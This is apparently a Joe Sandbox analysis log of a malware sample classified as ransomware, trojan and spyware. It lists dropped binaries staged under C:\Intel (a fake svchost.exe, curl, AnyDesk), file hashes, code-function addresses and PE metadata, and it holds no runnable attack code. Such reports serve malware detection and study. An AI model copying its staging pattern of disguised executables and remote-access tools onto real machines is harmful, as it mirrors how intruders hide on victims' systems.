Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b7cd751a99c70c48_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\13e83bd1c1ab1541_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\8fdcb7992c9e741c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ff5222d57552b6c1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b87cf2f2b0511c4c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\dd1d9f7425e5aefb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\348aae4f13c8f553_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\8cce886514f2b2ec_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\217bbc87393d2e57_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\8bfc77f05f6a3cc5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2a99e21c738e2a0b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\d6af3918ca46ca94_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\85f220494be669b7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2bb582fd7577f97e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\9f97c8dd99a7773d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ed344a77138c223d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\95fcbb4ef0998598_0

Source: C:\Intel\dc.exe

File deleted: C:\Windows\Temp\autB0DC.tmp

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02200CE2	0_3_02200CE2
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02201679	0_3_02201679
Source: C:\Intel\curl.exe	Code function: 34_2_001DF690	34_2_001DF690
Source: C:\Intel\curl.exe	Code function: 34_2_001DD9C0	34_2_001DD9C0
Source: C:\Intel\curl.exe	Code function: 34_2_001DFA40	34_2_001DFA40
Source: C:\Intel\curl.exe	Code function: 34_2_002C9A93	34_2_002C9A93
Source: C:\Intel\curl.exe	Code function: 34_2_00244030	34_2_00244030
Source: C:\Intel\curl.exe	Code function: 34_2_0027C000	34_2_0027C000
Source: C:\Intel\curl.exe	Code function: 34_2_0022E0A0	34_2_0022E0A0
Source: C:\Intel\curl.exe	Code function: 34_2_0023E0E0	34_2_0023E0E0
Source: C:\Intel\curl.exe	Code function: 34_2_0028C0C0	34_2_0028C0C0
Source: C:\Intel\curl.exe	Code function: 34_2_0027A170	34_2_0027A170
Source: C:\Intel\curl.exe	Code function: 34_2_0028A170	34_2_0028A170
Source: C:\Intel\curl.exe	Code function: 34_2_002361A0	34_2_002361A0
Source: C:\Intel\curl.exe	Code function: 34_2_002981A0	34_2_002981A0
Source: C:\Intel\curl.exe	Code function: 34_2_002AC1E0	34_2_002AC1E0
Source: C:\Intel\curl.exe	Code function: 34_2_002B01F0	34_2_002B01F0
Source: C:\Intel\curl.exe	Code function: 34_2_00274210	34_2_00274210
Source: C:\Intel\curl.exe	Code function: 34_2_002C4214	34_2_002C4214
Source: C:\Intel\curl.exe	Code function: 34_2_00216250	34_2_00216250
Source: C:\Intel\curl.exe	Code function: 34_2_0027C280	34_2_0027C280
Source: C:\Intel\curl.exe	Code function: 34_2_002082E0	34_2_002082E0
Source: C:\Intel\curl.exe	Code function: 34_2_002902C0	34_2_002902C0
Source: C:\Intel\curl.exe	Code function: 34_2_00252360	34_2_00252360
Source: C:\Intel\curl.exe	Code function: 34_2_002A8370	34_2_002A8370
Source: C:\Intel\curl.exe	Code function: 34_2_002803A0	34_2_002803A0
Source: C:\Intel\curl.exe	Code function: 34_2_002CA39A	34_2_002CA39A
Source: C:\Intel\curl.exe	Code function: 34_2_0028A420	34_2_0028A420
Source: C:\Intel\curl.exe	Code function: 34_2_0026A430	34_2_0026A430
Source: C:\Intel\curl.exe	Code function: 34_2_0027E410	34_2_0027E410
Source: C:\Intel\curl.exe	Code function: 34_2_002AA460	34_2_002AA460
Source: C:\Intel\curl.exe	Code function: 34_2_002A4440	34_2_002A4440
Source: C:\Intel\curl.exe	Code function: 34_2_0027A490	34_2_0027A490
Source: C:\Intel\curl.exe	Code function: 34_2_002AE4F0	34_2_002AE4F0
Source: C:\Intel\curl.exe	Code function: 34_2_002C24F0	34_2_002C24F0
Source: C:\Intel\curl.exe	Code function: 34_2_0028A526	34_2_0028A526
Source: C:\Intel\curl.exe	Code function: 34_2_00280560	34_2_00280560
Source: C:\Intel\curl.exe	Code function: 34_2_00282560	34_2_00282560
Source: C:\Intel\curl.exe	Code function: 34_2_002DC545	34_2_002DC545
Source: C:\Intel\curl.exe	Code function: 34_2_002965D0	34_2_002965D0
Source: C:\Intel\curl.exe	Code function: 34_2_00236650	34_2_00236650
Source: C:\Intel\curl.exe	Code function: 34_2_0026A650	34_2_0026A650
Source: C:\Intel\curl.exe	Code function: 34_2_002B86B0	34_2_002B86B0
Source: C:\Intel\curl.exe	Code function: 34_2_002D46DC	34_2_002D46DC
Source: C:\Intel\curl.exe	Code function: 34_2_002A0700	34_2_002A0700
Source: C:\Intel\curl.exe	Code function: 34_2_0027A7A0	34_2_0027A7A0
Source: C:\Intel\curl.exe	Code function: 34_2_0025A7B0	34_2_0025A7B0
Source: C:\Intel\curl.exe	Code function: 34_2_0027C780	34_2_0027C780
Source: C:\Intel\curl.exe	Code function: 34_2_001E8810	34_2_001E8810
Source: C:\Intel\curl.exe	Code function: 34_2_00206800	34_2_00206800
Source: C:\Intel\curl.exe	Code function: 34_2_0027E850	34_2_0027E850
Source: C:\Intel\curl.exe	Code function: 34_2_002908B0	34_2_002908B0
Source: C:\Intel\curl.exe	Code function: 34_2_002808F0	34_2_002808F0
Source: C:\Intel\curl.exe	Code function: 34_2_00248900	34_2_00248900
Source: C:\Intel\curl.exe	Code function: 34_2_0027C970	34_2_0027C970
Source: C:\Intel\curl.exe	Code function: 34_2_002AE970	34_2_002AE970
Source: C:\Intel\curl.exe	Code function: 34_2_002969A0	34_2_002969A0
Source: C:\Intel\curl.exe	Code function: 34_2_002AE9E7	34_2_002AE9E7
Source: C:\Intel\curl.exe	Code function: 34_2_002DAA6A	34_2_002DAA6A
Source: C:\Intel\curl.exe	Code function: 34_2_00274A70	34_2_00274A70
Source: C:\Intel\curl.exe	Code function: 34_2_00274AA0	34_2_00274AA0
Source: C:\Intel\curl.exe	Code function: 34_2_00288AB0	34_2_00288AB0
Source: C:\Intel\curl.exe	Code function: 34_2_0027AA80	34_2_0027AA80
Source: C:\Intel\curl.exe	Code function: 34_2_00274AD0	34_2_00274AD0
Source: C:\Intel\curl.exe	Code function: 34_2_00260B20	34_2_00260B20
Source: C:\Intel\curl.exe	Code function: 34_2_002AAB35	34_2_002AAB35
Source: C:\Intel\curl.exe	Code function: 34_2_00280B10	34_2_00280B10
Source: C:\Intel\curl.exe	Code function: 34_2_00214BD0	34_2_00214BD0
Source: C:\Intel\curl.exe	Code function: 34_2_00248BD0	34_2_00248BD0
Source: C:\Intel\curl.exe	Code function: 34_2_0025CC70	34_2_0025CC70
Source: C:\Intel\curl.exe	Code function: 34_2_0025AD20	34_2_0025AD20
Source: C:\Intel\curl.exe	Code function: 34_2_002BCD10	34_2_002BCD10
Source: C:\Intel\curl.exe	Code function: 34_2_00296D70	34_2_00296D70
Source: C:\Intel\curl.exe	Code function: 34_2_0027AD50	34_2_0027AD50
Source: C:\Intel\curl.exe	Code function: 34_2_002AAD99	34_2_002AAD99
Source: C:\Intel\curl.exe	Code function: 34_2_002A6D90	34_2_002A6D90
Source: C:\Intel\curl.exe	Code function: 34_2_002B6E50	34_2_002B6E50
Source: C:\Intel\curl.exe	Code function: 34_2_0027EF70	34_2_0027EF70
Source: C:\Intel\curl.exe	Code function: 34_2_00228F40	34_2_00228F40
Source: C:\Intel\curl.exe	Code function: 34_2_0027CF50	34_2_0027CF50
Source: C:\Intel\curl.exe	Code function: 34_2_00282FE0	34_2_00282FE0
Source: C:\Intel\curl.exe	Code function: 34_2_0027AFD0	34_2_0027AFD0
Source: C:\Intel\curl.exe	Code function: 34_2_002B3000	34_2_002B3000
Source: C:\Intel\curl.exe	Code function: 34_2_002BD080	34_2_002BD080
Source: C:\Intel\curl.exe	Code function: 34_2_002790F0	34_2_002790F0
Source: C:\Intel\curl.exe	Code function: 34_2_002AD100	34_2_002AD100
Source: C:\Intel\curl.exe	Code function: 34_2_002791B0	34_2_002791B0
Source: C:\Intel\curl.exe	Code function: 34_2_0027F1B0	34_2_0027F1B0
Source: C:\Intel\curl.exe	Code function: 34_2_002D119C	34_2_002D119C
Source: C:\Intel\curl.exe	Code function: 34_2_002611F0	34_2_002611F0
Source: C:\Intel\curl.exe	Code function: 34_2_0023F220	34_2_0023F220
Source: C:\Intel\curl.exe	Code function: 34_2_0029D260	34_2_0029D260
Source: C:\Intel\curl.exe	Code function: 34_2_00297240	34_2_00297240
Source: C:\Intel\curl.exe	Code function: 34_2_002B5240	34_2_002B5240
Source: C:\Intel\curl.exe	Code function: 34_2_002812E0	34_2_002812E0
Source: C:\Intel\curl.exe	Code function: 34_2_002572C0	34_2_002572C0
Source: C:\Intel\curl.exe	Code function: 34_2_0023B310	34_2_0023B310
Source: C:\Intel\curl.exe	Code function: 34_2_00251350	34_2_00251350
Source: C:\Intel\curl.exe	Code function: 34_2_0023B400	34_2_0023B400
Source: C:\Intel\curl.exe	Code function: 34_2_0027B400	34_2_0027B400
Source: C:\Intel\curl.exe	Code function: 34_2_00297400	34_2_00297400
Source: C:\Intel\curl.exe	Code function: 34_2_002BB410	34_2_002BB410
Source: C:\Intel\curl.exe	Code function: 34_2_002634B0	34_2_002634B0
Source: C:\Intel\curl.exe	Code function: 34_2_002874B0	34_2_002874B0
Source: C:\Intel\curl.exe	Code function: 34_2_002814B0	34_2_002814B0
Source: C:\Intel\curl.exe	Code function: 34_2_00265490	34_2_00265490
Source: C:\Intel\curl.exe	Code function: 34_2_0029B490	34_2_0029B490
Source: C:\Intel\curl.exe	Code function: 34_2_0027F4E0	34_2_0027F4E0
Source: C:\Intel\curl.exe	Code function: 34_2_002AF4E0	34_2_002AF4E0
Source: C:\Intel\curl.exe	Code function: 34_2_001F74D0	34_2_001F74D0
Source: C:\Intel\curl.exe	Code function: 34_2_002794C0	34_2_002794C0
Source: C:\Intel\curl.exe	Code function: 34_2_0029D4C0	34_2_0029D4C0
Source: C:\Intel\curl.exe	Code function: 34_2_00235530	34_2_00235530
Source: C:\Intel\curl.exe	Code function: 34_2_002995B0	34_2_002995B0
Source: C:\Intel\curl.exe	Code function: 34_2_00241590	34_2_00241590
Source: C:\Intel\curl.exe	Code function: 34_2_0027B660	34_2_0027B660
Source: C:\Intel\curl.exe	Code function: 34_2_00291640	34_2_00291640
Source: C:\Intel\curl.exe	Code function: 34_2_0027D6C0	34_2_0027D6C0
Source: C:\Intel\curl.exe	Code function: 34_2_0025B6D0	34_2_0025B6D0
Source: C:\Intel\curl.exe	Code function: 34_2_002D170E	34_2_002D170E
Source: C:\Intel\curl.exe	Code function: 34_2_00279710	34_2_00279710
Source: C:\Intel\curl.exe	Code function: 34_2_0027F760	34_2_0027F760
Source: C:\Intel\curl.exe	Code function: 34_2_00249740	34_2_00249740
Source: C:\Intel\curl.exe	Code function: 34_2_001D17A0	34_2_001D17A0
Source: C:\Intel\curl.exe	Code function: 34_2_002117F1	34_2_002117F1
Source: C:\Intel\curl.exe	Code function: 34_2_002117F0	34_2_002117F0
Source: C:\Intel\curl.exe	Code function: 34_2_00273800	34_2_00273800
Source: C:\Intel\curl.exe	Code function: 34_2_0027F870	34_2_0027F870
Source: C:\Intel\curl.exe	Code function: 34_2_00297870	34_2_00297870
Source: C:\Intel\curl.exe	Code function: 34_2_0020D880	34_2_0020D880
Source: C:\Intel\curl.exe	Code function: 34_2_002818E0	34_2_002818E0
Source: C:\Intel\curl.exe	Code function: 34_2_0027B8F0	34_2_0027B8F0
Source: C:\Intel\curl.exe	Code function: 34_2_0029D910	34_2_0029D910
Source: C:\Intel\curl.exe	Code function: 34_2_00211950	34_2_00211950
Source: C:\Intel\curl.exe	Code function: 34_2_00291950	34_2_00291950
Source: C:\Intel\curl.exe	Code function: 34_2_00249980	34_2_00249980
Source: C:\Intel\curl.exe	Code function: 34_2_0027F980	34_2_0027F980
Source: C:\Intel\curl.exe	Code function: 34_2_002AD980	34_2_002AD980
Source: C:\Intel\curl.exe	Code function: 34_2_002799E0	34_2_002799E0
Source: C:\Intel\curl.exe	Code function: 34_2_0027D9C0	34_2_0027D9C0
Source: C:\Intel\curl.exe	Code function: 34_2_002B39C0	34_2_002B39C0
Source: C:\Intel\curl.exe	Code function: 34_2_002A7A30	34_2_002A7A30
Source: C:\Intel\curl.exe	Code function: 34_2_0027BB20	34_2_0027BB20
Source: C:\Intel\curl.exe	Code function: 34_2_001EBBB0	34_2_001EBBB0
Source: C:\Intel\curl.exe	Code function: 34_2_00273B90	34_2_00273B90
Source: C:\Intel\curl.exe	Code function: 34_2_00247BD0	34_2_00247BD0
Source: C:\Intel\curl.exe	Code function: 34_2_00279BD0	34_2_00279BD0
Source: C:\Intel\curl.exe	Code function: 34_2_002A5BD0	34_2_002A5BD0
Source: C:\Intel\curl.exe	Code function: 34_2_001E3C30	34_2_001E3C30
Source: C:\Intel\curl.exe	Code function: 34_2_002D9C17	34_2_002D9C17
Source: C:\Intel\curl.exe	Code function: 34_2_0028BC70	34_2_0028BC70
Source: C:\Intel\curl.exe	Code function: 34_2_002B9C70	34_2_002B9C70
Source: C:\Intel\curl.exe	Code function: 34_2_0026BCBC	34_2_0026BCBC
Source: C:\Intel\curl.exe	Code function: 34_2_0027DC80	34_2_0027DC80
Source: C:\Intel\curl.exe	Code function: 34_2_002D1C80	34_2_002D1C80
Source: C:\Intel\curl.exe	Code function: 34_2_00221CC0	34_2_00221CC0
Source: C:\Intel\curl.exe	Code function: 34_2_00297CD0	34_2_00297CD0
Source: C:\Intel\curl.exe	Code function: 34_2_00283D50	34_2_00283D50
Source: C:\Intel\curl.exe	Code function: 34_2_00293D50	34_2_00293D50
Source: C:\Intel\curl.exe	Code function: 34_2_00281DB0	34_2_00281DB0
Source: C:\Intel\curl.exe	Code function: 34_2_0028FD80	34_2_0028FD80
Source: C:\Intel\curl.exe	Code function: 34_2_002ABD90	34_2_002ABD90
Source: C:\Intel\curl.exe	Code function: 34_2_001E7DC0	34_2_001E7DC0
Source: C:\Intel\curl.exe	Code function: 34_2_002AFE60	34_2_002AFE60
Source: C:\Intel\curl.exe	Code function: 34_2_0026DEA0	34_2_0026DEA0
Source: C:\Intel\curl.exe	Code function: 34_2_0027FE80	34_2_0027FE80
Source: C:\Intel\curl.exe	Code function: 34_2_00273E80	34_2_00273E80
Source: C:\Intel\curl.exe	Code function: 34_2_002ADE80	34_2_002ADE80
Source: C:\Intel\curl.exe	Code function: 34_2_00247F60	34_2_00247F60
Source: C:\Intel\curl.exe	Code function: 34_2_00279F70	34_2_00279F70
Source: C:\Intel\curl.exe	Code function: 34_2_0028FFC0	34_2_0028FFC0
Source: C:\Intel\driver.exe	Code function: 40_2_0040FCD0	40_2_0040FCD0
Source: C:\Intel\driver.exe	Code function: 40_2_0040A5C4	40_2_0040A5C4
Source: C:\Intel\driver.exe	Code function: 40_2_00409EDC	40_2_00409EDC
Source: C:\Intel\driver.exe	Code function: 40_2_00431792	40_2_00431792
Source: C:\Intel\driver.exe	Code function: 40_2_0040C824	40_2_0040C824
Source: C:\Intel\driver.exe	Code function: 40_2_004150CC	40_2_004150CC
Source: C:\Intel\driver.exe	Code function: 40_2_004210BE	40_2_004210BE
Source: C:\Intel\driver.exe	Code function: 40_2_0041C940	40_2_0041C940
Source: C:\Intel\driver.exe	Code function: 40_2_0040710C	40_2_0040710C
Source: C:\Intel\driver.exe	Code function: 40_2_00429923	40_2_00429923
Source: C:\Intel\driver.exe	Code function: 40_2_004029D0	40_2_004029D0
Source: C:\Intel\driver.exe	Code function: 40_2_004081E8	40_2_004081E8
Source: C:\Intel\driver.exe	Code function: 40_2_004231FF	40_2_004231FF
Source: C:\Intel\driver.exe	Code function: 40_2_0040C9A4	40_2_0040C9A4
Source: C:\Intel\driver.exe	Code function: 40_2_00422A40	40_2_00422A40
Source: C:\Intel\driver.exe	Code function: 40_2_0042C260	40_2_0042C260
Source: C:\Intel\driver.exe	Code function: 40_2_00432277	40_2_00432277
Source: C:\Intel\driver.exe	Code function: 40_2_0040DA30	40_2_0040DA30
Source: C:\Intel\driver.exe	Code function: 40_2_004232C7	40_2_004232C7
Source: C:\Intel\driver.exe	Code function: 40_2_0041A280	40_2_0041A280
Source: C:\Intel\driver.exe	Code function: 40_2_00420358	40_2_00420358
Source: C:\Intel\driver.exe	Code function: 40_2_0041DB74	40_2_0041DB74
Source: C:\Intel\driver.exe	Code function: 40_2_0040930C	40_2_0040930C
Source: C:\Intel\driver.exe	Code function: 40_2_00433310	40_2_00433310
Source: C:\Intel\driver.exe	Code function: 40_2_0043731C	40_2_0043731C
Source: C:\Intel\driver.exe	Code function: 40_2_0043632C	40_2_0043632C
Source: C:\Intel\driver.exe	Code function: 40_2_0040CB3C	40_2_0040CB3C
Source: C:\Intel\driver.exe	Code function: 40_2_004173F5	40_2_004173F5
Source: C:\Intel\driver.exe	Code function: 40_2_004343FC	40_2_004343FC
Source: C:\Intel\driver.exe	Code function: 40_2_00434B84	40_2_00434B84
Source: C:\Intel\driver.exe	Code function: 40_2_004393A4	40_2_004393A4
Source: C:\Intel\driver.exe	Code function: 40_2_00427C40	40_2_00427C40
Source: C:\Intel\driver.exe	Code function: 40_2_0040B414	40_2_0040B414
Source: C:\Intel\driver.exe	Code function: 40_2_00433310	40_2_00433310
Source: C:\Intel\driver.exe	Code function: 40_2_00417CD4	40_2_00417CD4
Source: C:\Intel\driver.exe	Code function: 40_2_0040CD40	40_2_0040CD40
Source: C:\Intel\driver.exe	Code function: 40_2_00437D50	40_2_00437D50
Source: C:\Intel\driver.exe	Code function: 40_2_0040E564	40_2_0040E564
Source: C:\Intel\driver.exe	Code function: 40_2_00428564	40_2_00428564
Source: C:\Intel\driver.exe	Code function: 40_2_004215E0	40_2_004215E0
Source: C:\Intel\driver.exe	Code function: 40_2_00437D50	40_2_00437D50
Source: C:\Intel\driver.exe	Code function: 40_2_00413E64	40_2_00413E64
Source: C:\Intel\driver.exe	Code function: 40_2_0043D60C	40_2_0043D60C
Source: C:\Intel\driver.exe	Code function: 40_2_00425634	40_2_00425634
Source: C:\Intel\driver.exe	Code function: 40_2_004096C0	40_2_004096C0
Source: C:\Intel\driver.exe	Code function: 40_2_00436ED0	40_2_00436ED0
Source: C:\Intel\driver.exe	Code function: 40_2_00428E80	40_2_00428E80
Source: C:\Intel\driver.exe	Code function: 40_2_00413690	40_2_00413690
Source: C:\Intel\driver.exe	Code function: 40_2_00429E9E	40_2_00429E9E
Source: C:\Intel\driver.exe	Code function: 40_2_0042EEA0	40_2_0042EEA0
Source: C:\Intel\driver.exe	Code function: 40_2_00411F4C	40_2_00411F4C
Source: C:\Intel\driver.exe	Code function: 40_2_00422F77	40_2_00422F77
Source: C:\Intel\driver.exe	Code function: 40_2_00437778	40_2_00437778
Source: C:\Intel\driver.exe	Code function: 40_2_00432F3E	40_2_00432F3E
Source: C:\Intel\driver.exe	Code function: 40_2_004387F8	40_2_004387F8
Source: C:\Intel\driver.exe	Code function: 40_2_0040D784	40_2_0040D784
Source: C:\Intel\driver.exe	Code function: 40_2_0041A78C	40_2_0041A78C
Source: C:\Intel\driver.exe	Code function: 40_2_0040DFAC	40_2_0040DFAC
Source: C:\Intel\driver.exe	Code function: 40_2_00405368	40_2_00405368
Source: C:\Intel\svchost.exe	Code function: 42_2_03E3B320	42_2_03E3B320
Source: C:\Intel\svchost.exe	Code function: 42_2_03E3B27B	42_2_03E3B27B
Source: C:\Intel\Trays\4t-min64.exe	Code function: 43_2_0040A47F	43_2_0040A47F
Source: C:\Intel\svchost.exe	Code function: 44_2_03E3B320	44_2_03E3B320
Source: C:\Intel\svchost.exe	Code function: 44_2_03E3B27B	44_2_03E3B27B
Source: C:\Intel\svchost.exe	Code function: 45_2_03E3B320	45_2_03E3B320
Source: C:\Intel\svchost.exe	Code function: 45_2_03E3B27B	45_2_03E3B27B

Source: Joe Sandbox View	Dropped File: C:\Intel\AnyDesk\AnyDesk.exe 7F813D6552F20F2E761807E94C34EDCFE91570A9D637C82C955AE52768367046
Source: Joe Sandbox View	Dropped File: C:\Intel\Trays\4t-min64.exe D7AF4E205E963B0C17330B7559CD7AA7BFABEE7E0F5F8A3F815CC2BB5F659201
Source: Joe Sandbox View	Dropped File: C:\Intel\Trays\7z.dll 9532AC334F37954C8FA781489B52B113CDE746E8271D75516F419A3F13BAAD6B

Source: C:\Intel\curl.exe	Code function: String function: 00212230 appears 34 times
Source: C:\Intel\curl.exe	Code function: String function: 00212B50 appears 281 times
Source: C:\Intel\curl.exe	Code function: String function: 00213250 appears 42 times
Source: C:\Intel\curl.exe	Code function: String function: 001D3960 appears 387 times
Source: C:\Intel\curl.exe	Code function: String function: 00222C70 appears 119 times
Source: C:\Intel\curl.exe	Code function: String function: 001D3850 appears 233 times
Source: C:\Intel\curl.exe	Code function: String function: 001CE200 appears 51 times
Source: C:\Intel\curl.exe	Code function: String function: 00249F20 appears 47 times
Source: C:\Intel\curl.exe	Code function: String function: 0020C4D0 appears 41 times
Source: C:\Intel\curl.exe	Code function: String function: 001D43D0 appears 36 times
Source: C:\Intel\curl.exe	Code function: String function: 002C7EC0 appears 55 times
Source: C:\Intel\curl.exe	Code function: String function: 001CF6A0 appears 39 times
Source: C:\Intel\curl.exe	Code function: String function: 001CF8E0 appears 39 times
Source: C:\Intel\curl.exe	Code function: String function: 001C1A10 appears 39 times
Source: C:\Intel\curl.exe	Code function: String function: 001CF7A0 appears 33 times
Source: C:\Intel\curl.exe	Code function: String function: 00237DF0 appears 57 times
Source: C:\Intel\curl.exe	Code function: String function: 001D6930 appears 43 times
Source: C:\Intel\curl.exe	Code function: String function: 0022AD70 appears 71 times
Source: C:\Intel\svchost.exe	Code function: String function: 03E33CC8 appears 36 times

Source: unins000.exe.40.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: unins000.exe.40.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: svchost.exe.36.dr	Static PE information: No import functions for PE file found
Source: AnyDesk.exe.42.dr	Static PE information: No import functions for PE file found

Source: Yv24LkKBY6.exe, 00000000.00000003.20222480541.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs Yv24LkKBY6.exe
Source: Yv24LkKBY6.exe, 00000000.00000003.20237112937.0000000000589000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAcroRd32.exe< vs Yv24LkKBY6.exe
Source: Yv24LkKBY6.exe, 00000000.00000003.20237112937.0000000000589000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAcroRd) vs Yv24LkKBY6.exe
Source: Yv24LkKBY6.exe, 00000000.00000003.20237112937.00000000005D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs Yv24LkKBY6.exe
Source: Yv24LkKBY6.exe, 00000000.00000003.20223929270.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs Yv24LkKBY6.exe

Source: Yv24LkKBY6.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@139/246@4/8

Source: 131.pdf.0.dr

Initial sample: http://www.pdf-tools.com\

Source: C:\Intel\curl.exe

Code function: 34_2_001D23B0 GetLastError,FormatMessageA,GetLastError,SetLastError,

34_2_001D23B0

